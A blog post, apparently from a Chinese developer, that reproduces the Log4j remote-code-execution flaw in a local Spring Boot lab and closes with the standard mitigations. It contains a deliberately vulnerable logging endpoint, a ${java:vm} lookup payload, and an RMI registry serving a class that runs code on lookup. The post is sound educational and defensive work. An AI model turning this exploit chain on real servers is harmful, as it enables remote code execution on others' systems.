1. 前景提要
Log4j 史诗级漏洞这几天闹的沸沸扬扬,让我也想一探究竟,到底是怎么触发的。
2. 搭建一个集成 Log4j 的 SpringBoot 项目
根据 spring 官网的指引,创建一个 springboot 项目,然后对 pom 文件进行一个修改
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
</dependencies>
2.1 查看引入的依赖
可以看到我引入的 log4j 的依赖是 2.15.0 版本以下的,也就是会触发这个 bug 的
2.2 写一个常用的接口接受外部传入的参数
package run.runnable.learn;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.annotation.PostConstruct;
@SpringBootApplication
@Controller
public class LearnApplication {
private static final Logger logger = LogManager.getLogger(LearnApplication.class);
public static void main(String[] args) {
SpringApplication.run(LearnApplication.class, args);
}
@PostMapping("/hack")
@ResponseBody
public String testHackExecute(@RequestBody String content){
logger.info("content:{}", content);
return content;
}
}
这里写了一个 hack 的接口,当接口有参数传入的时候,会进行打印,这种代码大家几乎都有写过的吧。这也是这个漏洞非常严重的原因之一:易于触发
3. 测试漏洞
3.1 传入指定参数打印 vm 信息
使用 postman 进行调用接口,可以看到成功返回。
728 x 378 1766 x 916
让我们去系统的日志看看,打印不是 ${java:vm}
,而是 JDK 的信息!
728 x 160 2096 x 462
3.2 测试 rmi 远程调用
如果仅仅只是上面的那种情况还好说,至少只是生成一些错误日志,但是这个 rmi 远程调用的危害就很大。
让我们先用 java 原生的 rmi 写一个注册中心,然后注册一个服务
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
Reference reference = new Reference("run.runnable.learn.rmi.HackExecute", "run.runnable.learn.rmi.HackExecute", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
System.out.println("service started");
registry.bind("hack", referenceWrapper);
} catch (RemoteException | NamingException | AlreadyBoundException e) {
e.printStackTrace();
}
}
再一个可以被执行的类
public class HackExecute {
static {
System.out.println("HackExecute:Successful execution");
}
}
我们把上面的服务 rmi 服务进行启动,然后使用 postman 进行调用。
728 x 395 1772 x 962
当我们在控制台进行日志查看的时候,你就会发现,rmi 远程调用被成功执行了!
728 x 145 2236 x 446
这意味着我可以把自己写的代码,通过这种方式在对方的服务器进行执行,不愧是史诗级漏洞。
4. 紧急补救措施
(1) 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
(2) 修改配置 log4j2.formatMsgNoLookups=True
(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true